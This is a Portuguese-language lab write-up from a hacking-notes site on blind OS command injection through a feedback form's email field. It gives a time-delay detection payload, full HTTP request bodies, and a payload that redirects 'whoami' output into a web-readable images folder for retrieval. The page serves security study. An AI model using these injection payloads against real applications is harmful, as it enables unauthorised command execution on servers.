> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/command-injection/blind-os-command-injection-with-output-redirection.md).

# Injeção Cega de Comandos no Sistema Operacional com Redirecionamento de Saída

### Injeção cega de comando do sistema operacional com redirecionamento de saída

#### Descrição do laboratório

* A aplicação apresenta uma vulnerabilidade à injeção de comandos do sistema **cega** na funcionalidade de feedback.
* Os dados de entrada do usuário são injetados em um comando de shell no lado do servidor.
* A saída desse comando \*\*não é retornada\*\* diretamente na resposta HTTP.
* Há, no entanto, um registro acessível por escrito:/ `/var/www/images/`
* A aplicação exibe as imagens do catálogo produzidas a partir deste diretório.
* Então podemos **redirecionar a saída** do comando para um arquivo nesta pasta e depois ler esse arquivo por meio da URL de carregamento da imagem.

**Objetivo do laboratório:** Executar o comando `whoami` e recuperar sua saída.

```bash
;sleep 10;
```

#### Detecção de Injeção (Atraso de tempo)

O formulário de feedback é usado. / O **email** campo é vulnerável: quando você injeta um atraso, a resposta leva cerca de 10 segundos.

Payload injetado no `email` campo:

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;sleep 10;&subject=hello&message=hello1234
```

{% endcode %}

O atraso de 10 segundos confirma a injeção de comando.

#### Operação com Redirecionamento de Saída

Objetivo: redirecionar a saída de `whoami` para um arquivo em `/var/www/images/`.

Payload injetado no `email` campo:

```
;whoami > /var/www/images/test.txt;
```

Exemplo de um corpo da requisição:

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;whoami > /var/www/images/test.txt;&subject=hello&message=hello1234
```

{% endcode %}

Este comando cria (ou sobrescreve) o arquivo `test.txt` no diretório acessível pela web.

```bash
/image?filename=test.txt
```

#### Recuperação do Resultado

Para ler a saída de `whoami` salva no arquivo, chamamos a URL que serve os arquivos na pasta de imagens:

<figure><img src="/files/a6930076c9f3c0a5653437762ac26ab56f837860" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/command-injection/blind-os-command-injection-with-output-redirection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
